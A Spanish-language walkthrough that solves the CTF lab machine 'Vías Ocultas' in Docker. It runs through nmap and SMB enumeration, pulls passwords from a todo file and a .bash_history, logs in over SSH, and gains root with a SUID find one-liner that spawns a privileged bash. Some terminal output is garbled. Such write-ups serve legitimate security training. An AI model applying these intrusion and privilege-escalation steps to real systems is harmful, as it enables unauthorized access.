

El Dia de hoy les compartiré la resolución de la maquina Vías Ocultas de **CyberConquer**

Link para descargar la Maquina https://drive.google.com/file/d/1P7rnAG8DyhZUATdb8-D4Z7qR4baLBLWm/view?usp=drive_link

Una vez descargada la maquina ingresamos al directorio donde esta descargada la descomprimimos y ejecutamos el siguiente comando script.sh vias_ocultas_img.tar El cual nos permite realizar el levantamiento de la maquina la cual está en Docker.

Una vez hemos levantado la máquina, ten presente que no puedes cerrar la ventana pues esto haría que se cerrera la máquina, además no sale un promt esperando que digitemos la bandera, que encontraremos en la máquina.



Iniciamos con la fase de reconocimiento donde recopilamos informacion lo cual lo haremos desde Nmap, para saber que puertos están abiertos.

Esto implica usar un escaneo lento, evitar ping (host discovery), y técnicas como TCP SYN (-sS) que son menos ruidosas. (claro está que en entornos controlados lo hacemos más rápido, pues no importa si se levanta mucho ruido)

```
)-[/home/cyberdark]
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-26 19:27 -05
Initiating ARP Ping Scan at 19:27
Scanning 172.17.0.2 [1 port]
Completed ARP Ping Scan at 19:27, 0.05s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 19:27
Scanning xXFBAQuXC3XAG (172.17.0.2) [65535 ports]
Discovered open port 80/tcp on 172.17.0.2
Discovered open port 139/tcp on 172.17.0.2
Discovered open port 445/tcp on 172.17.0.2
Discovered open port 22/tcp on 172.17.0.2
Completed SYN Stealth Scan at 19:27, 0.34s elapsed (65535 total ports)
Nmap scan report for xXFBAQuXC3XAG (172.17.0.2)
Host is up (0.0000020s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 02:42:AC:11:00:02 (Unknown)
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.51 seconds
Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)
```

- -T5: Eleva el perfil de velocidad al máximo. Ideal para laboratorios y redes controladas, pero úsalo con precaución en entornos de producción, ya que puede generar mucho tráfico.
- --max-retries 0: Reduce los intentos de reenvío a cero para acelerar aún más el escaneo.
- --min-rate 1000: Incrementa la tasa mínima de paquetes por segundo, haciendo el escaneo mucho más rápido.

```
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
```

Dado que solo los puertos **22 (SSH) 80 (HTTP) 139 (netbios-ssn) 445 (microsft-ds)** están abiertos, centrémonos en ellos:

Ya que sabemos que puertos están abiertos es hora de ponernos a la tarea de ver como ingresar por esos puertos.

Ejecutamos un Nmap sobre ese puerto para ver que más información podemos recolectar.

nmap 172.17.0.2 -p22,80 -sCV -A -T5 -oN log_relampago_scan.txt

```
)-[/home/cyberdark]
   nmap 172.17.0.2 -p22,80,139,445 -sCV -A -T5 -oN log_vias_ocultas_scan.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-26 19:29 -05
Nmap scan report for xXFBAQuXC3XAG (172.17.0.2)
Host is up (0.00019s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
ssh-hostkey:
   256 98:b7:ba:b0:c8:31:a0:1a:38:69:c1:68:fe:72:bd:6e (ECDSA)
    256 5d:dd:4b:ac:30:12:b1:42:39:52:66:83:91:11:f0:78 (ED25519)
                        nginx 1.22.1
80/tcp open http
|_http-title: TechVision IT Services
|_http-server-header: nginx/1.22.1
139/tcp open netbios-ssn Samba smbd 4
445/tcp open netbios-ssn Samba smbd 4
MAC Address: 02:42:AC:11:00:02 (Unknown)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed
port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb2-time:
    date: 2025-04-27T00:29:53
   start_date: N/A
 smb2-security-mode:
     Message signing enabled but not required
TRACEROUTE
HOP RTT
          ADDRESS
1 0.19 ms xXFBAQuXC3XAG (172.17.0.2)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/subm
Nmap done: 1 IP address (1 host up) scanned in 18.05 seconds
```

Enumeramos con dirb http://172.17.0.2

gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt

```
)-[/home/cyberdark]
   gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:
[+] Method:
                             http://172.17.0.2
                             GET
[+] Threads:
[+] Wordlist:
                            /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
                             gobuster/3.6
[+] User Agent:
[+] Extensions:
                             php, html, txt
[+] Timeout:
                             10s
Starting gobuster in directory enumeration mode
                     (Status: 200) [Size: 15105]
/index.html
                     (Status: 200) [Size: 15105]
Progress: 18456 / 18460 (99.98%)
Finished
```

Como podemos observar solo encontramos el archivo index.html

Ahora vamos a lanzar el comando enum4linux -a 172.17.0.2 donde encontramos lo siguiente:

```
[E] Can't get 05 info with smbclient

[+] Got 05 info for 172.17.0.2 from srvinfo:

DEBIAN-SAMBA Wk SV PrQ Unx NT SNT Samba Server 4.17.12-Debian
platform_id : 500
os version : 6.1
server type : 0×809a03

(Users on 172.17.0.2 )

index: 0×1 RID: 0×3e8 acb: 0×000000010 Account: charlie Name: Desc:
user:[charlie] rid:[0×3e8]

(Share Enumeration on 172.17.0.2 )

smbXcli_negprot_smbl_done: No compatible protocol selected by server.

Sharename Type Comment
usuarios Disk
desarrollo Disk
IPC$ IPC Service (Samba Server 4.17.12-Debian)

Reconnecting with SMB1 for workgroup listing.
Protocol negotiation to server 172.17.0.2 (for a protocol between LANMAN1 and NT1) failed: NT_ST
ATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available
```

```
[+] Attempting to map shares on 172.17.0.2

//172.17.0.2/usuarios Mapping: DENIED Listing: N/A Writing: N/A
//172.17.0.2/desarrollo Mapping: OK Listing: OK Writing: N/A

[E] Can't understand response:

NT_STATUS_CONNECTION_REFUSED listing \*
//172.17.0.2/IPC$ Mapping: N/A Listing: N/A Writing: N/A

(Password Policy Information for 172.17.0.2 )

[+] Attaching to 172.17.0.2 using a NULL share
[+] Trying protocol 139/SMB...

[+] Found domain(s):

[+] DEBIAN-SAMBA
[+] Builtin

[+] Password Info for Domain: DEBIAN-SAMBA

[-] Minimum password length: 5
[-] Password history length: None
[+] Maximum password age: 37 days 6 hours 21 minutes
[+] Password Complexity Flags: 000000

[+] Domain Password Store Cleartext: 0
[+] Domain Password Store Cleartext: 0
[+] Domain Password Store Cleartext: 0
[+] Domain Password No Anon Change: 0
[+] Domain Password No Anon Change: 0
[+] Domain Password No Complex: 0

[+] Minimum password age: None
[+] Reset Account Lockout Counter: 30 minutes
[-] Locked Account Duration: 30 minutes
[-] Locked Account Lockout Tureshold: None
[+] Forced Log off Time: 37 days 6 hours 21 minutes
```

Podemos observar 2 usuarios Charlie, developer

Utilizamos varias posibles contraseñas, como root, admin, toor, pero no se consiguió acceso

smbclient //172.17.0.2/desarrollo -N se ingreso al directorio desarrollo

```
\( \text{\text{root@ Pandora}} - [/home/cyberdark/maquinas_ctf/vias_ocultas] \\
\( \text{\text{smbclient } //172.17.0.2/desarrollo -N \\
\( \text{put} \text{ test.txt} \\
\text{Try "help" to get a list of possible commands. \\
\( \text{smb: } \rangle \text{ls} \\
\( \text{.} \quad \text{D} \quad 0 \text{ Wed Feb 26 16:05:56 2025} \\
\( \text{.} \quad \text{D} \quad 0 \text{ Wed Feb 26 15:45:43 2025} \\
\( \text{todo.txt} \quad \text{N} \quad \text{276 Wed Feb 26 16:05:56 2025} \\
\( \text{512872832 blocks of size 1024. 426341540 blocks available} \end{arrange} \)
```

Luego se descargo el archivo todo.txt en el equipo

get todo.txt

```
smb: \> get todo.txt
getting file \todo.txt of size 276 as todo.txt (22,5 KiloBytes/sec) (average 22,5 KiloBytes/sec)
smb: \> ■
```

Posteriormente se abrió el archivo todo.txt

```
reiniciar servidor nginx
cambiar autenticacion de ssh a keys
cambiar contrasena por una mas segura
crear backup del servidor
eliminar el acceso a shares autenticacion de shares are por hacer

- Por hacer
- Por hacer
- Listo
- Listo
- Por hacer
- Por hacer
- Por hacer
- Por hacer
```

Parece ser que se encontró una contraseña Y2hhcmxpZTEyM3Bhc3M=

Y analizando esta en base 64 lo hicimos en esta pagina

https://www.base64decode.org/es/



charlie123pass

esto quiere decir que poder acceder por el cliente samba con las credenciales de usuario: Charlie contraseña:charlie123pass

smbclient //172.17.0.2/usuarios -U charlie%charlie123pass

Listamos directorios y buscamos algo que nos pueda servir

```
smb: \> ls charlie
  charlie
                                                     0 Wed Feb 26 15:54:31 2025
                  512872832 blocks of size 1024. 426335204 blocks available
smb: \> cd charlie
cd \cjharlie\: NT_STATUS_OBJECT_NAME_NOT_FOUND
smb: \> cd ..
smb: \> ls
                                                     0 Wed Feb 26 15:53:07 2025
                                                     0 Wed Feb 26 15:45:43 2025
0 Wed Feb 26 15:54:31 2025
 charlie
                                                     0 Wed Feb 26 15:55:12 2025
 developer
                 512872832 blocks of size 1024. 426334744 blocks available
smb: \> cd developer
smb: \developer\> ls
                                                 0 Wed Feb 26 15:55:12 2025
0 Wed Feb 26 15:53:07 2025
220 Wed Feb 26 15:55:12 2025
  .bash_logout
                                                  0 Wed Feb 26 15:54:53 2025
807 Wed Feb 26 15:55:02 2025
  .bash_history
  .profile
                                                  3526 Wed Feb 26 15:55:08 2025
  .bashrc
                  512872832 blocks of size 1024. 426334720 blocks available
smb: \developer\>
```

Encontramos el directorio developer, Charlie, en ambos directorios encontramos archivos de configuración, pero el .bash_history en el directorio charli, tiene un tamaño de 749 por esa razón nos llamo la atención lo descargamos y podemos observar lo siguiente:

fhuds9hfd768sgf9s90jf

encontramos que al cambiar de usuario developer ingresaron como contraseña fhuds9hfd768sgf9s90jf

por esta razón realizamos una conexión ssh para ver si funcionan esas credeciales con el usuario developer

ssh developer@172.17.0.2

```
(xont@ Pandora) - [/home/cyberdark/maquinas_ctf/vias_ocultas]
W ssh developer@172.17.0.2
developer@172.17.0.2's password:
Linux 1657636b03d3 6.12.20-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.20-1kali1 (2025-03-26) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
developer@1657636b03d3:~$ whoami
developer@1657636b03d3:~$
```

Hemos conseguido acceso como el usuario developer

Hacemos un ls para listar directorios

```
developer@1657636b03d3:~$ ls -a
. .. .bash_history .bash_logout .bashrc .profile user.txt
developer@1657636b03d3:~$ cat user.txt
d418a14a7fc5239d51730d3c7c30c2d0
developer@1657636b03d3:~$
```

d418a14a7fc5239d51730d3c7c30c2d0

Encontramos la flag de user

```
Ingresa la bandera de usuario: √ ¡Flag correcta! Buen trabajo.
```

utilizamos algunos comandos pero no tenemos permisos de root

luego corremos find / -perm /4000 2>/dev/null para saber que binarios tienen permisos

```
developer@1657636b03d3:~$ find / -perm /4000 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/openssh/ssh-keysign
/usr/bin/chsh
/usr/bin/chsh
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/find
/usr/bin/chfn
/usr/bin/umount
/usr/bin/sus/bin/sus/bin/sus/bin/passwd
/usr/bin/passwd
/usr/bin/sudo
```

Luego tratamos de aprovecharnos de alguno de ellos para poder conseguir el root, en este caso vamos a utilizar el find

/usr/bin/find . -exec /bin/bash -p \; -quit

Luego le hacemos un cat a donde probablemente debe estar el archivo root, que es en la ruta /root/root.txt como en la mayoría de ctf y perfecto hemos conseguido la flag de root.

```
bash-5.2# cat /root/root.txt
c75fefd75f1b5be3633340b8ee6c0da7
Ingresa la bandera de usuario: // ¡Flag correcta! Buen trabajo.
Ingresa la bandera de root: W ¡Root obtenido, Máquina dominada!
```

En esta maquina si bien es de complejidad avanzada, siento que ha dado un reto, digno, super recomendada, animo muchachos, todo se consigue con perseverancia y disciplina. ¡No se desanimen!

Recuerden que no se trata solo de buscar en internet copiar y pegar, se trata de tener unas bases solidas para cuando se encuentren los retos, podamos resolverlos, los animo a realizar cursos gratis y si tienen recursos, también de pago, esto les reforzara mucho el aprendizaje, además claro esta de plataformas para entrenamiento de ctf.

Recuerden, "Quien estudia, se arma con el poder de cambiar su destino."

Happy Hacking!!!

https://github.com/Cyberdark-Security/